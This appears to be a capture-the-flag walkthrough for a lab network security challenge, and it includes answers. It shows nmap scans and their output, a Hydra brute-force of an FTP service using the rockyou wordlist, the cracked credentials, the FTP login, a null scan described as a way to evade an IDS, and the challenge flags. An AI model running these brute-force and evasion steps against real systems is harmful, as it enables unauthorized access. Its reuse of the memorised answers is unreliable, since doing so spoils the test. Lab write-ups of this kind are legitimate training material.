Task 1. Introduction
Use this challenge to test your mastery of the skills you have acquired in the Network Security module. All the questions in this challenge can be solved using only nmap, telnet, and hydra.
Answer: No need
Task 2. Challenge Questions
Starting with an Nmap aggressive scan and service/version detection across all ports:
nmap -sV -p- 10.201.27.157 -A
PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-OpenSSH_8.2p1 THM{946219583339}
80/tcp open http lighttpd
|_http-server-header: lighttpd THM{web_server_25352}
|_http-title: Hello, world!
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
8080/tcp open http Node.js (Express middleware)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
10021/tcp open ftp vsftpd 3.0.5
What is the highest port number being open less than 10,000?
8080
There is an open port outside the common 1000 ports; it is above 10,000. What is it?
10021
How many TCP ports are open?
6
What is the flag hidden in the HTTP server header?
THM{web_server_25352}
What is the flag hidden in the SSH server header?
THM{946219583339}
We have an FTP server listening on a nonstandard port. What is the version of the FTP server?
vsftpd 3.0.5
Hydra
Create a file with both usernames:
echo "eddie
quinn" > user.txt
Run Hydra to brute-force FTP on port 10021 using the rockyou wordlist:
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ftp://10.201.27.157:10021
Credentials:
login: eddie password: jordan
login: quinn password: andrea
FTP Access & Flag (first‑person plural)
We found an FTP service on a non‑standard port and connected to it using the credentials we recovered:
ftp 10.201.27.157 10021
Name (10.201.27.157:root): quinn
Password: andrea
Login succeeded:
230 Login successful.
ftp> ls
-rw-rw-r-- 1 1002 1002 18 Sep 20 2021 ftp_flag.txt
We downloaded the file and read the flag:
ftp> get ftp_flag.txt
# then on attacker machine
cat ftp_flag.txt
### We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?
THM{321452667098}
To avoid detection by the IDS, use:
```bash
nmap -sN <ip>
Browsing to http://MACHINE_IP:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?
THM{f7443f99}